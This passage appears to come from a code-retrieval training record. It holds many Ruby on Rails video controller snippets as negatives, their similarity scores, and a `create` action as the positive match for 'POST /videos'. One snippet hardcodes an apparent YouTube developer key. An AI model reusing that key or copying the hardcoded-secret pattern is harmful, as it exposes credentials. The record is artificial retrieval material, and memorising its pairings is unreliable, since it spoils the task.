"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = current_user.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @videos = Video.find_by(id: params[:id])\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = current_user.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def get_album_videos album_id\n get(\"/albums/#{album_id}/videos\")\n end",
"def show\n render json: @video\n end",
"def show\n @videos = Video.all\n @video = @videos.find params[:id]\n end",
"def show\n render json: @video\n end",
"def index\n @videos = Video.order('created_at DESC').page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = @item.videos\n end",
"def index\n @videos = @item.videos\n end",
"def index\n\n\n\n @yt_client = YouTubeIt::Client.new(:dev_key => ENV[\"YOUTUBE_DEV_KEY\"])\n\n @videos = Video.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.pluck 'title'\n @videos = Video.order('created_at DESC')\n respond_to do |format|\n format.html{}\n format.json { render :json => @videos }\n end\n end",
"def index\n #@videos = Video.all\n @videos = Video.paginate(:page => params[:page], :per_page => 25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = current_user.videos\n respond_with(@videos)\n end",
"def resources\n videos\n end",
"def video\n YouTubeApi.find_video(youtube_id)\n end",
"def show\n @c_video = CVideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @c_video }\n end\n end",
"def show \n @project = Project.find params[:id]\n @videos = @project.videos\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def show\n @yt_client = YouTubeIt::Client.new(:dev_key => \"AI39si6hkRNCL77mzzv1LycIohZtksVIi0L5S9lQMx6crqOfGdyKcB2U2M5WHeNBUT2VLgTVzjR9rxPa1RJZw-sZ6wqtnaZ7AA\")\n @video = Video.find(params[:id])\n\n @comments = @video.comments.all\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def my_video(video_id)\n client.get_my_video(video_id)\n end",
"def show\n @jeux_videos = JeuxVideo.find(params[:id])\n \n end",
"def index\n #@videos = Video.all\n Video.delete_database_and_files_on_server\n @video = Video.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def show\n @user_video = UserVideo.find(params[:id]) \n @vid_id = @user_video.video_embed.split('?v=')[1]\n @u = \"http://www.youtube.com/embed/\" + @vid_id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_video }\n end\n end",
"def index\n @videos = current_user.videos\n end",
"def index\n authorize! :read, @videos\n @videos = searchitems(params[:search],Video,'video_name')\n @video = @videos.first\n end",
"def show\n @video = Video.find(params[:id])\n respond_with(@video)\n end",
"def show\r\n @video = Video.find(params[:id]) \r\n\r\n respond_to do |format|\r\n format.html { render :layout => false } #show.html.erb\r\n format.json { render json: @video } \r\n end\r\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def new\n \n @video = Video.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def index\n @videos = Video.where(project_id: @project.id)\n end",
"def index\n @videos = @user.videos\n @videos = @videos.order(:id).page params[:page]\n end",
"def load_videos2\n json = File.read(VIDEOS2_FILE)\n array = JSON.parse(json)\n array[\"videos\"].map! { |v| {\"postId\" => v[\"postId\"], \"wordList\" => v[\"wordList\"]}}\n array[\"videos\"]\n end",
"def show\n @video = Video.find(params[:id])\n\n @networks = @video.networks\n\n @impressions = @video.impressions\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def list_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: VideoApi.list_videos ...\"\n end\n # resource path\n local_var_path = \"/videos\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Video>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VideoApi#list_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def video\n\t\tVideo.find(self.video_id)\n\tend",
"def show\n render :json => @video, :include => ALL_INCLUDES\n end",
"def new\n @video = Video.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @controller = controller_name\n @action = action_name\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def get_folder_videos folder_id, **args\n get(\"/projects/#{folder_id}/videos\", args)\n end",
"def index\n @videos = @palestrante.videos.mais_novos\n end",
"def show\n @video = Video.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end",
"def show\n @video = Video.new\n @competition_videos = Competition.find(params[:id]).videos\n #@competition_videos = Competition.find(params[:id]).videos.order(created_at: :desc).paginate(page: params[:page],per_page:50)\n end",
"def index\n @game_videos = GameVideo.all\n end",
"def show\n @kuaibovideo = Kuaibovideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kuaibovideo }\n end\n end",
"def index\n if params.include?(:scene_id)\n @videos = Video.with_scene_id(params[:scene_id])\n\n respond_to do |format|\n format.json { render :json => @videos }\n format.html # index.html.erb\n end\n else\n raise CanCan::AccessDenied.new(\"Not authorized!\")\n end\n end",
"def videos()\n\t\treturn Videos.new(@credentials.client_key, @credentials.get_access_token)\n\tend",
"def show\n @tutorial = Tutorial.find(params[:id])\n\t @videos = @tutorial.videos.all\n \n end",
"def show\n @community_member_video = @community_member_profile.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @community_member_video }\n end\n end",
"def video_by(params)\n params = {:video_id => params} if !params.is_a?(Hash)\n url = \"http://gdata.youtube.com/feeds/api/\"\n video_id = params[:video_id].split(\"/\").last\n if params[:user]\n url << \"users/#{params[:user]}/uploads/#{video_id}\"\n else\n url << \"videos/#{video_id}\"\n end\n parser = YouTubeG::Parser::VideoFeedParser.new(url, request_headers, request_options)\n parser.parse\n end",
"def get_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.get_videos ...\"\n end\n # resource path\n local_var_path = \"/media/videos\"\n\n # query parameters\n query_params = {}\n query_params[:'exclude_flagged'] = opts[:'exclude_flagged'] if !opts[:'exclude_flagged'].nil?\n query_params[:'filter_videos_by_uploader'] = opts[:'filter_videos_by_uploader'] if !opts[:'filter_videos_by_uploader'].nil?\n query_params[:'filter_category'] = opts[:'filter_category'] if !opts[:'filter_category'].nil?\n query_params[:'filter_tagset'] = opts[:'filter_tagset'] if !opts[:'filter_tagset'].nil?\n query_params[:'filter_videos_by_name'] = opts[:'filter_videos_by_name'] if !opts[:'filter_videos_by_name'].nil?\n query_params[:'filter_videos_by_contributor'] = opts[:'filter_videos_by_contributor'] if !opts[:'filter_videos_by_contributor'].nil?\n query_params[:'filter_videos_by_author'] = opts[:'filter_videos_by_author'] if !opts[:'filter_videos_by_author'].nil?\n query_params[:'filter_has_author'] = opts[:'filter_has_author'] if !opts[:'filter_has_author'].nil?\n query_params[:'filter_has_uploader'] = opts[:'filter_has_uploader'] if !opts[:'filter_has_uploader'].nil?\n query_params[:'filter_related_to'] = opts[:'filter_related_to'] if !opts[:'filter_related_to'].nil?\n query_params[:'filter_friends'] = opts[:'filter_friends'] if !opts[:'filter_friends'].nil?\n query_params[:'filter_disposition'] = opts[:'filter_disposition'] if !opts[:'filter_disposition'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceVideoResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#get_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @medio_videos = MedioVideo.all\n end",
"def index\n @videos = Video.where(user_id: current_user.id)\n end",
"def index\n @community_member_videos = @community_member_profile.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @community_member_videos }\n end\n end",
"def list\n respond_to do |format|\n format.html { render partial: 'videos/issues_video_container', locals: {videos: Video.where(issue_id: params[:issue_id]).page(params[:page]).per(params[:per]), issue: Issue.where(id: params[:issue_id])} }\n format.json { render json: Video.where(issue_id: params[:issue_id]).page(params[:page]).per(params[:per])}\n end\n end",
"def index\n \n @videos = Video.where(:video_type => 2).order(\"id DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def show\r\n @video = Video.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @video }\r\n end\r\n end",
"def show\n slug = params[:slug]\n\n @video = Video.find(params[:id]) if slug.blank?\n @video = Video.find_by_slug(slug) if slug.present?\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end"
] |
[
"0.77855194",
"0.7450134",
"0.7386234",
"0.73798877",
"0.73798877",
"0.73798877",
"0.73798877",
"0.73798877",
"0.73798877",
"0.73798877",
"0.73703194",
"0.7363398",
"0.73398286",
"0.7338815",
"0.7338815",
"0.7338815",
"0.7338815",
"0.7308188",
"0.722379",
"0.72142017",
"0.72013223",
"0.7160676",
"0.7117048",
"0.7104133",
"0.7104133",
"0.7077088",
"0.7041828",
"0.7010378",
"0.69771767",
"0.6974248",
"0.6968238",
"0.69675934",
"0.6949619",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6913742",
"0.6877562",
"0.68563896",
"0.67596644",
"0.6754028",
"0.6747011",
"0.67260164",
"0.6714213",
"0.6687122",
"0.6683894",
"0.6663299",
"0.6662319",
"0.66496116",
"0.66252255",
"0.65971005",
"0.65909487",
"0.6590601",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65899575",
"0.65821564",
"0.65789205",
"0.6575012",
"0.6552858",
"0.6551249",
"0.6531845",
"0.65227634",
"0.65002376",
"0.6495363",
"0.64825684",
"0.64803565",
"0.644912",
"0.6445392",
"0.644374",
"0.64400136",
"0.6438082",
"0.6433727",
"0.64314103",
"0.6425505",
"0.6425331",
"0.6423002",
"0.6422996",
"0.642271",
"0.64007115"
] |
0.69005495
|
50
|
POST /videos POST /videos.json
|
def create
@video = current_user.videos.new(video_params)
respond_to do |format|
if @video.save
format.html { redirect_to videos_path(), notice: 'Video criado com sucesso.' }
format.json { render :index, status: :created, location: @video }
else
format.html { redirect_to new_video_path(), notice: 'Video não salvo.' }
format.json { render json: @video.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @video = Video.new(video_params)\n @video.save!\n render json: @video\n end",
"def create\n @video = @room.videos.new(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to upload_video_path(@video), notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_videos\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video.as_json }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = @user.videos.build(video_params)\n respond_to do |format|\n if @video.save\n format.html { redirect_to user_videos_path(@user), notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: user_videos_path(@user) }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to root_url, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Esta solución no es viable con la versión de Dynamoid 0.7.1\n @video = current_user.videos.create(video_params)\n @video.usuario_id = current_user.id\n respond_to do |format|\n if @video.save\n flash[:success] = \"El video ha sido posteado, pasarán unos segundos para ser publicado\"\n format.html { redirect_to current_user }\n format.json { render action: 'show', status: :created, location: @video }\n else\n puts @video.to_s\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n vid = Video.create(video_params)\n redirect_to \"/videos/#{vid.id}\"\n end",
"def create\n @video = Video.new(video_params)\n @video.update(user_id: current_user.id)\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully uploaded.' }\n format.json {\n render json: { files: [@video.to_jq_upload], url: video_path(@video), message: \"Uploaded successfully.\" }, status: :created, location: @video\n }\n else\n format.html { render :new }\n end\n end\n end",
"def postprocess\n video_params = JSON.parse(params[\"upload_response\"])\n @video = Video.new(:panda_video_id => video_params[\"id\"], :title => \"Title-to-be-edited-later\")\n\n if @video.save\n render :json => {:play_url => url_for(@video), :id => @video_id}\n end\n end",
"def create\n token = token_from_link params[:video][:token]\n\n gdata = Youtube.new token\n\n @video = Video.new(params[:video]) do |v|\n v.user = current_user\n v.token = token\n v.name = gdata.title if v.name.blank?\n\n v.yt_title = gdata.title\n v.yt_thumb = gdata.thumb\n v.yt_rating = gdata.rating_100\n v.yt_view_count = gdata.view_count\n v.yt_favorite_count = gdata.favorite_count\n v.yt_published = gdata.published\n end\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user.permission.can_post_video?\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'You can not post videos.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @album = Album.find(params[:album_id])\n @video = @album.videos.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @album, notice: 'Video creado satisfactoriamente.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n @video.uuid = params[:videohelpsubmission][:video_uuid]\n @video.token = SecureRandom.hex\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Vídeo criado com sucesso' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\tif user_type != 'guest' and user_type != 'bunned' and user_type != 'new_user'\n\t\tparams[:video][:user_id] = current_user.id\n\t\t@video = Video.new(params[:video])\n\t\trespond_to do |format|\n\t\t if @video.save\n\t\t\tformat.html { redirect_to @video, :notice => 'Видео успешно добавлено' }\n\t\t\tformat.json { render :json => @video, :status => :created, :location => @video }\n\t\t else\n\t\t\tformat.html { render :action => \"new\" }\n\t\t\tformat.json { render :json => @video.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end",
"def create\n @user_video = current_user.user_videos.new(params[:user_video])\n\n respond_to do |format|\n if @user_video.save\n format.html { redirect_to @user_video, notice: 'Video was successfully created.' }\n format.json { render json: @user_video, status: :created, location: @user_video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(nicovideo_id: params[:nicovideo_id])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { redirect_to videos_path , alert: 'Video was not successfully created.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n puts @video\n puts \"**********************************\"\n if @video.save\n flash[:success] = 'Video added!'\n redirect_to '/videos'\n else\n render :new\n end\n end",
"def create\n @video_upload = VideoUpload.new\n @video_upload.save!\n @video_upload.prepare!\n\n render json: @video_upload, status: :created, location: @video_upload\n end",
"def create\n @saved_video = SavedVideo.new(saved_video_params)\n\n respond_to do |format|\n if @saved_video.save\n format.html { redirect_to @saved_video, notice: 'Saved video was successfully created.' }\n format.json { render :show, status: :created, location: @saved_video }\n else\n format.html { render :new }\n format.json { render json: @saved_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n\n @project = Project.user_readable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.new(params[:project_video])\n\n if @video.save\n respond_to do |format|\n format.json { render :json => {:video_id => @video.id, :aws_videos_path => @video.videos_path}, :status => :ok }\n end\n\n else\n respond_to do |format|\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n\n else\n not_authorized\n end\n\n\n\n end",
"def create\n @video = Video.new(params[:video])\n @licenses = License.all\n @galleries = Gallery.all\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n @video.published = true\n @video.hits = 0\n @video.current_review = 1\n @video.attach_covers\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @video = Video.new(params[:video])\n \n # @video = current_user.videos.new(params[:video])\n \n @video = Video.new\n @video.user_id = current_user.id\n @video.archive_id = params[:video][:archive_id]\n @video.question_id = params[:video][:question_id]\n \n current_user.videos << @video\n\n respond_to do |format|\n if @video.save\n # format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n # format.html 3{ render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n @publication = Publication.create(:content => @video.content + @video.name + @video.description + @video.tag_list.join(' '), :published_id => @video.id, :published_type => 'Video')\n format.html { redirect_to videos_path, notice: 'El video fue creada correctamente.' }\n format.json { render action: 'list', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n if @video.save\n flash[:notice] = \"Successfully added new video!\"\n redirect_to videos_path\n else\n flash[:alert] = \"Error adding new video!\"\n render :new\n end\n end",
"def new\n \n @video = Video.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def create\n @file = vid_params['file'].tempfile\n type = vid_params['file'].content_type\n client = YouTubeIt::Client.new(:username => ENV['GMAIL'], :password => ENV['GMAIL_PASSWORD'], :dev_key => ENV[\"YOUTUBE_API_KEY\"])\n res = client.video_upload(@file, title: vid_params['title'], description: vid_params['description'], category: 'People', :keywords => ['darity', 'dare', 'charity'])\n @video = Video.new(url: res.player_url, uid: res.player_url.gsub(/&.*/, \"\").gsub(/.*=/, \"\"), description: vid_params[\"description\"], title: vid_params['title'], dare_id: params[:dare_id])\n if @video.save\n redirect_to current_user\n else\n render html: \"Error\"\n end\n end",
"def create \n @video = Video.new() #get the attachemnt and create a video object with it\n\n if @video.save #if it saves then get the urll\n @video.create_url(params[:filepath]) \n\n if signed_in? #if the user is signed in add the video to their account\n current_user.videos << @video \n\n else #if they arent't uses sessions and a delete key\n @video.session_id = SecureRandom.urlsafe_base64(15) \n @video.delete_key = SecureRandom.urlsafe_base64(30) \n session[:owned_videos] ||= [] #if the current session doesn't have any owned_videos then create the array\n session[:owned_videos] << @video.session_id #add videos session id to array\n end\n\n @video.save \n send_to_heywatch @video\n render json: {url: \"/videos/#{@video.id}\"}\n else #error saving the video take them back to try again TODO show errors\n redirect_to \"/\"\n \n end\n end",
"def create \n # binding.pry\n\n video = Video.new(video_params)\n if video.save\n render json: video, status: :created, location: @video\n else\n render json: {error: \"error This did not save my bro!\"}\n console.log(\"error This did not save my bro!\")\n end\n #render json: videos.to_json(:include => :rapper)\n\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to home_admin_path, notice: '视频创建成功!' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n @scene = Scene.find(params[:video][:scene_id])\n\n @video.scene = @scene\n @video.user = current_user\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @video = Video.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def video_params\n params.require(:video).permit(:title, :video)\n end",
"def create\n @video = Video.new(video_params.merge({ project_id: @project.id }))\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to action: 'show', controller: 'videos', project_id: @project.id, id: @video.id, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def video_params\n params.require(:video).permit(:title, :url, :description)\n end",
"def video_params\n params.require(:video).permit(:title, :content)\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
